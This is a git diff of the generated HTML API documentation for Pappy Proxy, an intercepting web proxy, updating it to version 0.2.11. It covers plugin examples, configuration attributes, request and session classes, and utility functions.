         ])
     

    However, the console assumes that any functions it calls will be blocking. As a result, we need to add the crochet.wait_for wrapper:

    -
    import shlex
    +
    import shlex
     import crochet
    -from pappyproxy.console import load_reqlist
    +from pappyproxy.util import load_reqlist
     from twisted.internet import defer
     
     @crochet.wait_for(timeout=None)
    @@ -423,14 +427,14 @@ pappy>
         args = shlex.split(line)
         reqs = yield load_reqlist(args[0])
         for r in reqs:
    -        print 'The host for request %s is: %s' % (r.reqid, r.host)
    +        print 'The host for request %s is: %s' % (r.reqid, r.host)
     
    -###############
    -## Plugin hooks
    +###############
    +## Plugin hooks
     
     def load_cmds(cmd):
         cmd.set_cmds({
    -        'print_hosts': (print_hosts, None),
    +        'print_hosts': (print_hosts, None),
         })
         cmd.add_aliases([
         ])
    @@ -462,21 +466,21 @@ pappy>
     

    Storing Custom Request Metadata

    -

    pappyproxy.http.Request objects have a plugin_data attribute. It is a dictionary that is intended to be used by plugins to give the request custom metadata. If you want to store metadata about a request, it is suggested that you add a key to this dictionary and store any metadata you want under that key. You can use pappyproxy.http.Request.get_plugin_dict() to get a dictionary for a specific name. It will create an entry for that name if it doesn’t exist. I also suggest defining a function plugin-wide for getting the plugin’s data dict from a specific request. Since dictionaries are always passed by reference, any modifications you make to the returned dict will be applied to the request as well.

    +

    pappyproxy.http.Request objects have a plugin_data attribute. It is a dictionary that is intended to be used by plugins to give the request custom metadata. If you want to store metadata about a request, it is suggested that you add a key to this dictionary and store any metadata you want under that key. You can use pappyproxy.http.Request.get_plugin_dict() to get a dictionary for a specific name. It will create an entry for that name if it doesn’t exist. I also suggest defining a function plugin-wide for getting the plugin’s data dict from a specific request. Since dictionaries are always passed by reference, any modifications you make to the returned dict will be applied to the request as well.

    Note

    You will need to save the request using something like pappyproxy.http.Request.save() or pappyproxy.http.Request.async_deep_save() in order to store the changes in the data file.

    Here is an example plugin for storing the user-agent (if it exists) in the plugin_data dict of a request under the key agent:

    -
    import crochet
    +
    import crochet
     import shlex
     from twisted.internet import defer
     
    -from pappyproxy.console import load_reqlist
    +from pappyproxy.util import load_reqlist
     from pappyproxy.plugin import main_context
     from pappyproxy.util import PappyException
     
    -DATA_KEY = 'agent'
    +DATA_KEY = 'agent'
     
     def get_data(r):
         return r.get_plugin_dict(DATA_KEY)
    @@ -485,8 +489,8 @@ pappy>
     @defer.inlineCallbacks
     def update_agent_metadata(line):
         for r in main_context().active_requests:
    -        if 'user-agent' in r.headers:
    -            get_data(r)['agent'] = r.headers['user-agent']
    +        if 'user-agent' in r.headers:
    +            get_data(r)['agent'] = r.headers['user-agent']
             yield r.async_deep_save()
     
     @crochet.wait_for(timeout=None)
    @@ -495,18 +499,18 @@ pappy>
         args = shlex.split(line)
         reqs = yield load_reqlist(args[0])
         for r in reqs:
    -        if 'agent' in get_data(r):
    -            print 'The user agent for %s is "%s"' % (r.reqid, get_data(r)['agent'])
    +        if 'agent' in get_data(r):
    +            print 'The user agent for %s is "%s"' % (r.reqid, get_data(r)['agent'])
             else:
    -            print 'Request %s has no user agent data' % r.reqid
    +            print 'Request %s has no user agent data' % r.reqid
     
    -###############
    -## Plugin hooks
    +###############
    +## Plugin hooks
     
     def load_cmds(cmd):
         cmd.set_cmds({
    -        'agent_update': (update_agent_metadata, None),
    -        'view_agent': (view_agent, None),
    +        'agent_update': (update_agent_metadata, None),
    +        'view_agent': (view_agent, None),
         })
         cmd.add_aliases([
         ])
    @@ -515,10 +519,7 @@ pappy>
     

    Useful Functions

    - +

    See pappyproxy.plugin and pappyproxy.util for useful functions

    @@ -577,6 +578,9 @@ pappy>

    Previous topic

    The Pappy Proxy Tutorial

    +

    Next topic

    +

    Contributing

    This Page

    \ No newline at end of file diff --git a/docs/build/html/pappyproxy.html b/docs/build/html/pappyproxy.html index 7e7bab0..a939952 100644 --- a/docs/build/html/pappyproxy.html +++ b/docs/build/html/pappyproxy.html @@ -6,7 +6,7 @@ - pappyproxy package — Pappy Proxy 0.2.0 documentation + pappyproxy package — Pappy Proxy 0.2.11 documentation @@ -14,7 +14,7 @@ - + @@ -61,11 +61,18 @@

    pappyproxy.config module

    -

    The configuration settings for the proxy.

    +
    +
    +class pappyproxy.config.PappyConfig
    +

    Bases: object

    +

    The configuration settings for the proxy. To access the config object for the +current session (eg from plugins) use pappyproxy.pappy.session.config.

    -
    -pappyproxy.config.CERT_DIR
    -

    The location of the CA certs that Pappy will use. This can be configured in the +

    +cert_dir
    +
    + +

    The location of the CA certs that Pappy will use. This can be configured in the config.json file for a project.

    @@ -75,12 +82,12 @@
    -
    -
    -
    -pappyproxy.config.PAPPY_DIR
    -

    The file where pappy’s scripts are located. Don’t write anything here, and you +

    +pappy_dir
    +
    + +

    The file where pappy’s scripts are located. Don’t write anything here, and you probably don’t need to write anything here. Use DATA_DIR instead.

    @@ -90,12 +97,12 @@ probably don’t need to write anything here. Use DATA_DIR instead.

    -
    -
    -
    -pappyproxy.config.DATA_DIR
    -

    The data directory. This is where files that have to be read by Pappy every time +

    +data_dir
    +
    + +

    The data directory. This is where files that have to be read by Pappy every time it’s run are put. For example, plugins are stored in {DATADIR}/plugins and certs are by default stored in {DATADIR}/certs. This defaults to ~/.pappy and isn’t configurable right now.

    @@ -107,12 +114,12 @@ and isn’t configurable right now.

    - -
    -
    -pappyproxy.config.DATAFILE
    -

    The location of the CA certs that Pappy will use. This can be configured in the +

    +datafile
    +
    + +

    The location of the CA certs that Pappy will use. This can be configured in the config.json file for a project.

    @@ -122,12 +129,12 @@ and isn’t configurable right now.

    - -
    -
    -pappyproxy.config.DEBUG_DIR
    -

    The directory to write debug output to. Don’t put this outside the project folder +

    +debug_dir
    +
    + +

    The directory to write debug output to. Don’t put this outside the project folder since it writes all the request data to this directory. You probably won’t need to use this. Configured in the config.json file for the project.

    @@ -138,6 +145,174 @@ to use this. Configured in the
    +
    +
    +listeners
    +
    + +

    The list of active listeners. It is a list of tuples of the format (port, interface) +Not modifiable after startup. Configured in the config.json file for the project.

    + +++ + + + +
    Default:[(8000, '127.0.0.1')]
    +
    +
    +socks_proxy
    +
    + +

    Details for a SOCKS proxy. It is a dict with the following key/values:

    +
    host: The SOCKS proxy host
    +port: The proxy port
    +username: Username (optional)
    +password: Password (optional)
    +
    +
    +

    If null, no proxy will be used.

    + +++ + + + +
    Default:null
    +
    +
    +http_proxy
    +
    + +

    Details for an upstream HTTP proxy. It is a dict with the following key/values:

    +
    host: The proxy host
    +port: The proxy port
    +username: Username (optional)
    +password: Password (optional)
    +
    +
    +

    If null, no proxy will be used.

    +
    +
    +plugin_dirs
    +
    + +

    List of directories that plugins are loaded from. Not modifiable.

    + +++ + + + +
    Default:['{DATA_DIR}/plugins', '{PAPPY_DIR}/plugins']
    +
    +
    +save_history
    +
    + +

    Whether command history should be saved to a file/loaded at startup.

    + +++ + + + +
    Default:True
    +
    +
    +config_dict
    +
    + +

    The dictionary read from config.json. When writing plugins, use this to load +configuration options for your plugin.

    +
    +
    +global_config_dict
    +
    + +

    The dictionary from ~/.pappy/global_config.json. It contains settings for +Pappy that are specific to the current computer. Avoid putting settings here, +especially if it involves specific projects.

    +
    +
    +archive
    +
    + +

    Project archive compressed as a tar.bz2 archive if libraries available on the system, +otherwise falls back to zip archive.

    + +++ + + + +
    Default:project.archive
    +
    +
    +crypt_dir
    +
    + +

    Temporary working directory to unpack an encrypted project archive. Directory +will contain copies of normal startup files, e.g. conifg.json, cmdhistory, etc. +On exiting pappy, entire directory will be compressed into an archive and encrypted. +Compressed as a tar.bz2 archive if libraries available on the system, +otherwise falls back to zip.

    + +++ + + + +
    Default:crypt
    +
    +
    +crypt_file
    +
    + +

    Encrypted archive of the temporary working directory crypt_dir. Compressed as a +tar.bz2 archive if libraries available on the system, otherwise falls back to zip.

    + +++ + + + +
    Default:project.crypt
    +
    +
    +crypt_session
    +
    + +

    Boolean variable to determine whether pappy started in crypto mode

    + +++ + + + +
    Default:False
    +
    +
    +salt_len
    +
    + +

    Length of the nonce-salt value appended to the end of crypt_file

    + +++ + + + +
    Default:16
    @@ -182,50 +357,6 @@ Use autocomplete_func=None for no autocomplete function

    -
    -
    -pappyproxy.console.confirm(message, default='n')
    -

    A helper function to get confirmation from the user. It prints message -then asks the user to answer yes or no. Returns True if the user answers -yes, otherwise returns False.

    -
    - -
    -
    -pappyproxy.console.load_reqlist(line, allow_special=True)
    -

    A helper function for parsing a list of requests that are passed as an -argument. If allow_special is True, then it will parse IDs such as -u123 or s123. Even if allow_special is false, it will still parse -m## IDs. Will print any errors with loading any of the requests and -will return a list of all the requests which were successfully loaded. -Returns a deferred.

    - --- - - - -
    Returns:Twisted deferred
    -
    - -
    -
    -pappyproxy.console.print_requests(requests)
    -

    Takes in a list of requests and prints a table with data on each of the -requests. It’s the same table that’s used by ls.

    -
    - -
    -
    -pappyproxy.console.print_table(coldata, rows)
    -

    Print a table. -Coldata: List of dicts with info on how to print the columns. -name is the heading to give column, -width (optional) maximum width before truncating. 0 for unlimited.

    -

    Rows: List of tuples with the data to print

    -
    -

    pappyproxy.context module

    @@ -262,65 +393,12 @@ the filter from the active_requ -
    -
    -add_request(req)
    -

    Adds a request to the context. If the request passes all of the context’s -filters, it will be placed in the active_requests set. If it does not, -it will be placed in the inactive_requests set. Either way, it will -be added to all_reqs and if appropriate, in_memory_requests.

    - --- - - - -
    Parameters:req (Request) – The request to add
    -
    - -
    -
    -all_reqs = set([])
    -

    Class variable! All requests in history. Do not directly add requests to this set. Instead, -use pappyproxy.context.Context.add_request() on some context. It will -automatically be added to this set.

    -
    -
    filter_up()

    Removes the last filter that was applied to the context.

    -
    -
    -in_memory_requests = set([])
    -

    Class variable! Requests that are only stored in memory. These are the requests with m## -style IDs. Do not directly add requests to this set. Instead, use -pappyproxy.context.Context.add_request() on some context with a request -that has not been saved. It will automatically be assigned a m## id and -be added to this set.

    -
    - -
    -
    -static remove_request(req)
    -

    Removes request from all contexts. It is suggested that you use -pappyproxy.http.Request.deep_delete() instead as this will -remove the request (and its unmangled version, response, and -unmangled response) from the data file as well. Otherwise it will -just be put back into the context when Pappy is restarted.

    - --- - - - -
    Parameters:req (Request) – The request to remove
    -
    -
    set_filters(filters)
    @@ -339,7 +417,8 @@ filter from a filter string.

    static from_filter_string(filter_string)
    -

    Create a filter from a filter string.

    +

    Create a filter from a filter string. If passed a list of arguments, they +will be used instead of parsing the string.

    @@ -473,12 +552,6 @@ anything.

    -
    -
    -body_complete()
    -

    Called when the body of the message is complete

    -
    -
    body_pretty
    @@ -486,6 +559,12 @@ anything.

    colorized for the terminal.

    +
    +
    +clear()
    +

    Resets all internal data and clears the message

    +
    +
    copy()
    @@ -528,45 +607,6 @@ colorized for the terminal.

    output is colorized

    -
    -
    -get_metadata()
    -

    Get all the metadata of the message in dictionary form. -Should be implemented in child class. -Should not be invoked outside of implementation!

    -
    - -
    -
    -handle_header(key, val)
    -

    Called when a header is loaded into the message. Should not be called -outside of implementation.

    - --- - - - -
    Parameters:
      -
    • key – Header key
    • -
    • key – Header value
    • -
    -
    -
    - -
    -
    -handle_start_line(start_line)
    -

    A handler function for the status line.

    -
    - -
    -
    -headers_end()
    -

    Called when the headers are complete.

    -
    -
    headers_section
    @@ -593,29 +633,7 @@ that the headers are colorized for terminal printing.

    reserved_meta_keys = ['full_message']
    -
    - -
    -
    -reset_metadata()
    -

    Reset meta values to default values. Overridden by child class. -Should not be invoked outside of implementation!

    -
    - -
    -
    -set_metadata(data)
    -

    Set metadata values based off of a data dictionary. -Should be implemented in child class. -Should not be invoked outside of implementation!

    - --- - - - -
    Parameters:data – Metadata to apply
    +

    Internal class variable. Do not modify.

    @@ -627,20 +645,6 @@ The full_message nice with binary blobs.

    -
    -
    -update_from_body()
    -

    Called when the body of the message is modified directly. Should be used -to update metadata that depends on the body of the message.

    -
    - -
    -
    -update_from_headers()
    -

    Called when a header is modified. Should be used to update metadata that -depends on the values of headers.

    -
    -
    @@ -724,7 +728,7 @@ to each other

    -class pappyproxy.http.Request(full_request=None, update_content_length=True, port=None, is_ssl=None, host=None)
    +class pappyproxy.http.Request(full_request=None, update_content_length=True, port=None, is_ssl=None, host=None, path_type=None, proxy_creds=None, explicit_port=False)

    Bases: pappyproxy.http.HTTPMessage

    @@ -748,6 +752,8 @@ before it was mangled.
  • version (String) – The HTTP version of the request (ie HTTP/1.1)
  • tags (List of Strings) – Tags associated with the request
  • plugin_data (Dict) – Data about the request created by plugins. If you modify this, please add your own key to it for your plugin and store all your plugin’s data under that key (probably as another dict). For example if you have a plugin called foo, try and store all your data under req.plugin_data['foo'].
  • +
  • path_type (Enum) – An enum which describes how the path portion of the request should be represented. PATH_RELATIVE -> normal relative path, PATH_ABSOLUTE -> The absolute path (including the protocol), PATH_HOST -> Just the path and the port (Used for CONNECT requests when connecting to an upstream HTTP proxy).
  • +
  • explicit_port – A flag to indicate that the port should always be included in the URL
  • @@ -793,12 +799,27 @@ to the resulting response.

    - + + +
    Return type:Twisted deferred
    Parameters:mangle (Bool) – Whether to pass the request through active intercepting macros.
    Return type:Twisted deferred
    +
    +
    +cache = <pappyproxy.requestcache.RequestCache object>
    +

    The request cache that stores requests in memory for performance

    +
    + +
    +
    +connect_request
    +

    If the request uses SSL, this will be a request object that can be used +with an upstream HTTP server to connect to a server using SSL

    +
    +
    deep_delete()
    @@ -848,6 +869,12 @@ ie /path/to/stuff?foo=bar&baz=something#somewhere

    +
    +
    +get_plugin_dict(name)
    +

    Get the data dictionary for the given plugin name.

    +
    +
    host
    @@ -885,25 +912,32 @@ ie /path/to/stuff?foo=bar&baz=something#somewhere

    -
    -static load_all_requests()
    -

    Load all the requests in the data file and return them in a list. -Returns a deferred which calls back with the list of requests when complete.

    +
    +static load_request(to_load)
    +

    Load a request with the given request id and return it. +Returns a deferred which calls back with the request when complete.

    - + + +
    Return type:twisted.internet.defer.Deferred
    Parameters:
      +
    • allow_special (bool) – Whether to allow special IDs such as u## or s##
    • +
    • use_cache (bool) – Whether to use the cache. If set to false, it will always query the data file to get the request
    • +
    +
    Return type:

    twisted.internet.defer.Deferred

    +
    -
    -static load_request(to_load)
    -

    Load a request with the given request id and return it. -Returns a deferred which calls back with the request when complete.

    +
    +static load_requests_by_tag(tag)
    +

    Load all the requests in the data file with a given tag and return them in a list. +Returns a deferred which calls back with the list of requests when complete.

    @@ -915,9 +949,9 @@ Returns a deferred which calls back with the request when complete.

    -
    -static load_requests_by_tag(tag)
    -

    Load all the requests in the data file with a given tag and return them in a list. +

    +static load_requests_by_time()
    +

    Load all the requests in the data file and return them in a list. Returns a deferred which calls back with the list of requests when complete.

    @@ -934,7 +968,7 @@ Returns a deferred which calls back with the list of requests when complete.

    path_tuple

    The path in tuple form starting with the host. For example, path_parts for a request to http://www.example.com/foo/bar.php would be:

    -
    ('www.example.com', 'foo', 'bar.php')
    +
    ('www.example.com', 'foo', 'bar.php')
     
    @@ -949,6 +983,26 @@ a request to +
    +proxy_creds
    +

    A username/password tuple representing the username/password to +authenticate to a proxy server. Sets the Proxy-Authorization +header. Getter will return (None, None) if no creds exist

    +
    +++ + + + + + + + +
    Getter:Returns the username/password tuple used for proxy authorization
    Setter:Sets the username/password tuple used for proxy authorization
    Type:Tuple of two strings: (username, password)
    +
    +
    raw_data
    @@ -1023,6 +1077,13 @@ Cannot be called from inside an async function.

    +
    +
    +sort_time
    +

    If the request has a submit time, returns the submit time’s unix timestamp. +Returns 0 otherwise

    +
    +
    start_line
    @@ -1069,24 +1130,22 @@ This is what you should use to submit your requests in macros.

    -
    -static submit_new(host, port, is_ssl, full_request)
    -

    Submits a request with the given parameters and returns a request object -with the response.

    +
    +static submit_request(request, save_request=False, intercepting_macros={}, stream_transport=None)
    +

    Submits the request then sets request.response. Returns a deferred that +is called with the request that was submitted.

    - - -
    Parameters:
      -
    • host (string) – The host to submit to
    • -
    • port (Integer) – The port to submit to
    • -
    • full_request (string) – The request data to send
    • +
    Parameters:
      +
    • request – The request to submit
    • +
    • save_request (Bool) – Whether to save the request to history
    • +
    • intercepting_macros (Dict or collections.OrderedDict) – Dictionary of intercepting macros to be applied to the request
    • +
    • stream_transport (twisted.internet.interfaces.ITransport) – Return transport to stream to. Set to None to not stream the response.
    Return type:

    Twisted deferred that calls back with a Request

    -
    @@ -1112,6 +1171,22 @@ automatically updated.

    +
    +
    +url_color
    +

    same as .url, except colored. Used for printing URLs to the terminal.

    + +++ + + + + + +
    Getter:Returns the url of the request
    Type:string
    +
    +
    @@ -1319,6 +1394,24 @@ Alias for Response.full_message

    +
    +
    +pappyproxy.http.async_submit_requests(reqs, mangle=False)
    +
    +++ + + + + + +
    Parameters:mangle (Bool) – Whether to pass the requests through intercepting macros
    Return type:DeferredList
    +

    Submits a list of requests at the same time asynchronously. +Responses/unmangled versions will be attached to the request objects in the list. +Prints progress to stdout.

    +
    +
    pappyproxy.http.get_request(url='', url_params={})
    @@ -1412,9 +1505,66 @@ data to storage.

    Loads the macros stored in the location and returns a list of Macro objects

    +
    +
    +pappyproxy.macros.mangle_request(*args, **kwargs)
    +

    Mangle a request with a list of intercepting macros. +Returns a tuple that contains the resulting request (with its unmangled +value set if needed) and a bool that states whether the request was modified +Returns (None, True) if the request was dropped.

    + +++ + + + +
    Return type:(Request, Bool)
    +
    + +
    +
    +pappyproxy.macros.mangle_response(*args, **kwargs)
    +

    Mangle a request’s response with a list of intercepting macros. +Returns a bool stating whether the request’s response was modified. +Unmangled values will be updated as needed.

    + +++ + + + +
    Return type:Bool
    +
    +

    pappyproxy.pappy module

    +

    Handles the main Pappy session.

    +
    +
    +pappyproxy.pappy.session
    +
    + +

    The pappyproxy.pappy.PappySession object for the current session. Mainly +used for accessing the session’s config information.

    +
    +
    +class pappyproxy.pappy.PappySession(sessconfig)
    +

    Bases: object

    +

    An object representing a pappy session. Mainly you’ll only use this to get to +the session config.

    + +++ + + + +
    Variables:config (pappyproxy.config.PappyConfig) – The configuration settings for the session
    +
    +

    pappyproxy.plugin module

    @@ -1425,80 +1575,128 @@ more functionality into the next version.

    pappyproxy.plugin.active_intercepting_macros()
    -

    Returns a list of the active intercepting macro objects. Modifying this list -will not affect which macros are active.

    +

    Returns a dict of the active intercepting macro objects. Modifying +this list will not affect which macros are active.

    pappyproxy.plugin.add_intercepting_macro(name, macro)

    Adds an intercepting macro to the proxy. You can either use a -pappyproxy.macros.FileInterceptMacro to load an intercepting macro -from the disk, or you can create your own using an pappyproxy.macros.InterceptMacro -for a base class. You must give a unique name that will be used in -pappyproxy.plugin.remove_intercepting_macro() to deactivate it. Remember -that activating an intercepting macro will disable request streaming and will -affect performance. So please try and only use this if you may need to modify -messages before they are passed along.

    +pappyproxy.macros.FileInterceptMacro to load an +intercepting macro from the disk, or you can create your own using +an pappyproxy.macros.InterceptMacro for a base class. You +must give a unique name that will be used in +pappyproxy.plugin.remove_intercepting_macro() to deactivate +it. Remember that activating an intercepting macro will disable +request streaming and will affect performance. So please try and +only use this if you may need to modify messages before they are +passed along.

    -
    -pappyproxy.plugin.add_req(req)
    -

    Adds a request to the history. Will not do anything to requests which are -already in history. If the request is not saved, it will be given an m## id.

    +
    +pappyproxy.plugin.add_to_history(req)
    +

    Save a request to history without saving it to the data file. The request +will only be saved in memory, so when the program is exited or clrmem +is run, the request will be deleted.

    + +++ + + + +
    Parameters:req (pappyproxy.http.Request) – The request to add to history
    -
    -pappyproxy.plugin.all_reqs()
    -

    Returns a list containing all the requests in history (including requests -that only exist in memory). Modifying this list will not modify requests -included in the history. However, you can edit the requests -in this list then call either pappyproxy.http.Request.save() or -pappyproxy.http.Request.async_save() to modify the actual request.

    +
    +pappyproxy.plugin.async_main_context_ids(n=-1)
    +

    Returns a deferred that resolves into a list of up to n of the +most recent requests in the main context. You can then use +pappyproxy.http.Request.load_request() to load the requests +in the current context. If no value is passed for n, this will +return all of the IDs in the context.

    pappyproxy.plugin.in_memory_reqs()
    -

    Returns a list containing all out of the requests which exist in memory only -(requests with an m## style id). -You can call either pappyproxy.http.Request.save() or -pappyproxy.http.Request.async_save() to save the request to the data file.

    +

    Returns a list containing the ids of the requests which exist in +memory only (requests with an m## style id). You can call either +pappyproxy.http.Request.save() or +pappyproxy.http.Request.async_deep_save() to save the +request to the data file.

    -
    -pappyproxy.plugin.main_context()
    -

    Returns the context object representing the main context. Use this to interact -with the context. The returned object can be modified -at will. Avoid modifying any class values (ie all_reqs, in_memory_requests) -and use the class methods to add/remove requests. See the documentation on -pappyproxy.context.Context for more information.

    +
    +pappyproxy.plugin.main_context_ids(*args, **kwargs)
    +

    Same as pappyproxy.plugin.async_main_context_ids() but can be called +from macros and other non-async only functions. Cannot be called in async +functions.

    pappyproxy.plugin.plugin_by_name(name)
    -

    Returns an interface to access the methods of a plugin from its name. -For example, to call the foo function from the bar plugin -you would call plugin_by_name('bar').foo().

    +

    Returns an interface to access the methods of a plugin from its +name. For example, to call the foo function from the bar +plugin you would call plugin_by_name('bar').foo().

    pappyproxy.plugin.remove_intercepting_macro(name)
    -

    Stops an active intercepting macro. You must pass in the name that you used -when calling pappyproxy.plugin.add_intercepting_macro() to identify -which macro you would like to stop.

    +

    Stops an active intercepting macro. You must pass in the name that +you used when calling +pappyproxy.plugin.add_intercepting_macro() to identify which +macro you would like to stop.

    +
    + +
    +
    +pappyproxy.plugin.req_history(num=-1, ids=None, include_unmangled=False)
    +

    Returns an a generator that generates deferreds which resolve to +requests in history, ignoring the current context. If n is +given, it will stop after n requests have been generated. If +ids is given, it will only include those IDs. If +include_unmangled is True, then the iterator will include +requests which are the unmangled version of other requests.

    +

    An example of using the iterator to print the 10 most recent requests:

    +
    @defer.inlineCallbacks
    +def find_food():
    +    for req_d in req_history(10):
    +        req = yield req_d
    +        print '-'*10
    +        print req.full_message_pretty
    +
    +
    +
    + +
    +
    +pappyproxy.plugin.require_modules(*largs)
    +

    A wrapper to make sure that plugin dependencies are installed. For example, +if a command requires the psutil and objgraph package, you should +format your command like:

    +
    @require_modules('psutil', 'objgraph')
    +def my_command(line):
    +    import objgraph
    +    import psutil
    +    # ... rest of command ...
    +
    +
    +

    If you try to run the command without being able to import all of the required +modules, the command will print an error and not run the command.

    pappyproxy.plugin.run_cmd(cmd)
    -

    Run a command as if you typed it into the console. Try and use existing APIs -to do what you want before using this.

    +

    Run a command as if you typed it into the console. Try and use +existing APIs to do what you want before using this.

    @@ -1510,6 +1708,69 @@ to do what you want before using this.

    pappyproxy.session module

    +
    +
    +class pappyproxy.session.Session(cookie_names=None, header_names=None, cookie_vals=None, header_vals=None)
    +

    Bases: object

    +

    A class used to maintain a session over multiple requests. Can remember cookies +and apply a specific header to requests. It is also possible to give the session +a list of cookie names and it will only save those cookies.

    +
    +
    +apply_req(request)
    +

    Apply saved headers and cookies to the request

    +
    + +
    +
    +apply_rsp(response)
    +

    Will add a Set-Cookie header for each saved cookie. Will not +apply any saved headers. If the cookie was added from a call to +save_rsp(), the Set-Cookie flags +will be the same as the original response.

    +
    + +
    + +

    Returns a string with the value of the cookie with the given string, even if the value is a ResponseCookie. +If you want to get a ResponseCookie, use get_rsp_cookie().

    +
    + +
    + +

    Returns the ResponseCookie associated with the key +regardless of if the value is stored as a string or a ResponseCookie.

    +
    + +
    +
    +save_req(req, cookies=None, headers=None)
    +

    Updates the state of the session from the given request. +Cookie and headers can be added to their whitelists by passing in a list +for either cookies or headers.

    +
    + +
    +
    +save_rsp(rsp, cookies=None)
    +

    Update the state of the session from the response. Only cookies can be +updated from a response. Additional values can be added to the whitelist +by passing in a list of values for the cookies parameter. If save_all +is given, all set cookies will be added to the session.

    +
    + +
    + +

    Set a cookie in the session. val can be either a string or a ResponseCookie. +If a ResponseCookie is used, make sure its key value is the same as +the key passed in to the function.

    +
    + +
    +

    pappyproxy.util module

    @@ -1521,6 +1782,65 @@ to do what you want before using this.

    message will be printed to the console rather than displaying a traceback.

    +
    +
    +pappyproxy.util.confirm(message, default='n')
    +

    A helper function to get confirmation from the user. It prints message +then asks the user to answer yes or no. Returns True if the user answers +yes, otherwise returns False.

    +
    + +
    +
    +pappyproxy.util.get_req_data_row(request)
    +

    Get the row data for a request to be printed.

    +
    + +
    +
    +pappyproxy.util.load_reqlist(line, allow_special=True)
    +

    A helper function for parsing a list of requests that are passed as an +argument. If allow_special is True, then it will parse IDs such as +u123 or s123. Even if allow_special is false, it will still parse +m## IDs. Will print any errors with loading any of the requests and +will return a list of all the requests which were successfully loaded. +Returns a deferred.

    + +++ + + + +
    Returns:Twisted deferred
    +
    + +
    +
    +pappyproxy.util.print_request_rows(request_rows)
    +

    Takes in a list of request rows generated from pappyproxy.console.get_req_data_row() +and prints a table with data on each of the +requests. Used instead of pappyproxy.console.print_requests() if you +can’t count on storing all the requests in memory at once.

    +
    + +
    +
    +pappyproxy.util.print_requests(requests)
    +

    Takes in a list of requests and prints a table with data on each of the +requests. It’s the same table that’s used by ls.

    +
    + +
    +
    +pappyproxy.util.print_table(coldata, rows)
    +

    Print a table. +Coldata: List of dicts with info on how to print the columns. +name is the heading to give column, +width (optional) maximum width before truncating. 0 for unlimited.

    +

    Rows: List of tuples with the data to print

    +
    +
    pappyproxy.util.printable_data(data)
    @@ -1605,12 +1925,12 @@ message will be printed to the console rather than displaying a traceback.

  • modules |
  • - +
    \ No newline at end of file diff --git a/docs/build/html/py-modindex.html b/docs/build/html/py-modindex.html index d882e7c..05fe5bc 100644 --- a/docs/build/html/py-modindex.html +++ b/docs/build/html/py-modindex.html @@ -6,7 +6,7 @@ - Python Module Index — Pappy Proxy 0.2.0 documentation + Python Module Index — Pappy Proxy 0.2.11 documentation @@ -14,7 +14,7 @@ - + @@ -38,7 +38,7 @@
  • modules |
  • - + @@ -163,12 +163,12 @@
  • modules |
  • - + \ No newline at end of file diff --git a/docs/build/html/search.html b/docs/build/html/search.html index c3cee89..bccc624 100644 --- a/docs/build/html/search.html +++ b/docs/build/html/search.html @@ -6,7 +6,7 @@ - Search — Pappy Proxy 0.2.0 documentation + Search — Pappy Proxy 0.2.11 documentation @@ -14,7 +14,7 @@ - + @@ -43,7 +43,7 @@
  • modules |
  • - + @@ -94,12 +94,12 @@
  • modules |
  • - + \ No newline at end of file diff --git a/docs/build/html/searchindex.js b/docs/build/html/searchindex.js index 46970e5..0169ec8 100644 --- a/docs/build/html/searchindex.js +++ b/docs/build/html/searchindex.js @@ -1 +1 @@ -Search.setIndex({envversion:46,filenames:["index","modules","overview","pappyplugins","pappyproxy","tutorial"],objects:{"":{pappyproxy:[4,0,0,"-"]},"pappyproxy.config":{CERT_DIR:[4,1,1,""],DATAFILE:[4,1,1,""],DATA_DIR:[4,1,1,""],DEBUG_DIR:[4,1,1,""],PAPPY_DIR:[4,1,1,""]},"pappyproxy.console":{ProxyCmd:[4,2,1,""],confirm:[4,5,1,""],load_reqlist:[4,5,1,""],print_requests:[4,5,1,""],print_table:[4,5,1,""]},"pappyproxy.console.ProxyCmd":{add_alias:[4,3,1,""],add_aliases:[4,3,1,""],set_cmd:[4,3,1,""],set_cmds:[4,3,1,""]},"pappyproxy.context":{Context:[4,2,1,""],Filter:[4,2,1,""],async_set_tag:[4,5,1,""],set_tag:[4,5,1,""]},"pappyproxy.context.Context":{add_filter:[4,3,1,""],add_request:[4,3,1,""],all_reqs:[4,4,1,""],filter_up:[4,3,1,""],in_memory_requests:[4,4,1,""],remove_request:[4,6,1,""],set_filters:[4,3,1,""]},"pappyproxy.context.Filter":{from_filter_string:[4,6,1,""]},"pappyproxy.http":{HTTPMessage:[4,2,1,""],RepeatableDict:[4,2,1,""],Request:[4,2,1,""],Response:[4,2,1,""],ResponseCookie:[4,2,1,""],get_request:[4,5,1,""],init:[4,5,1,""],post_request:[4,5,1,""]},"pappyproxy.http.HTTPMessage":{add_data:[4,3,1,""],add_line:[4,3,1,""],body:[4,4,1,""],body_complete:[4,3,1,""],body_pretty:[4,4,1,""],copy:[4,3,1,""],from_json:[4,3,1,""],full_message:[4,4,1,""],full_message_pretty:[4,4,1,""],get_metadata:[4,3,1,""],handle_header:[4,3,1,""],handle_start_line:[4,3,1,""],headers_end:[4,3,1,""],headers_section:[4,4,1,""],headers_section_pretty:[4,4,1,""],reserved_meta_keys:[4,4,1,""],reset_metadata:[4,3,1,""],set_metadata:[4,3,1,""],to_json:[4,3,1,""],update_from_body:[4,3,1,""],update_from_headers:[4,3,1,""]},"pappyproxy.http.RepeatableDict":{add_pairs:[4,3,1,""],all_pairs:[4,3,1,""],all_vals:[4,3,1,""],append:[4,3,1,""],clear:[4,3,1,""],from_dict:[4,3,1,""],set_val:[4,3,1,""],sort:[4,3,1,""]},"pappyproxy.http.Request":{async_deep_save:[4,3,1,""],async_save:[4,3,1,""],async_submit:[4,3,1,""],deep_delete:[4,3,1,""],full_path:[4,4,1,""],full_request:[4,4,1,""],host:[4,4,1,""],is_ssl:[4,4,1,""],load_all_requests:[4,6,1,""],load_request:[4,6,1,""],load_requests_by_tag:[4,6,1,""],path_tuple:[4,4,1,""],raw_data:[4,4,1,""],raw_headers:[4,4,1,""],rsptime:[4,4,1,""],save:[4,3,1,""],saved:[4,4,1,""],start_line:[4,4,1,""],status_line:[4,4,1,""],submit:[4,3,1,""],submit_new:[4,6,1,""],url:[4,4,1,""]},"pappyproxy.http.Response":{add_cookie:[4,3,1,""],async_save:[4,3,1,""],delete_cookie:[4,3,1,""],full_response:[4,4,1,""],load_response:[4,6,1,""],raw_data:[4,4,1,""],raw_headers:[4,4,1,""],set_cookie:[4,3,1,""],set_cookie_kv:[4,3,1,""],soup:[4,4,1,""],start_line:[4,4,1,""]},"pappyproxy.http.ResponseCookie":{cookie_str:[4,4,1,""]},"pappyproxy.iter":{common_passwords:[4,5,1,""],common_usernames:[4,5,1,""],fuzz_path_trav:[4,5,1,""],fuzz_sqli:[4,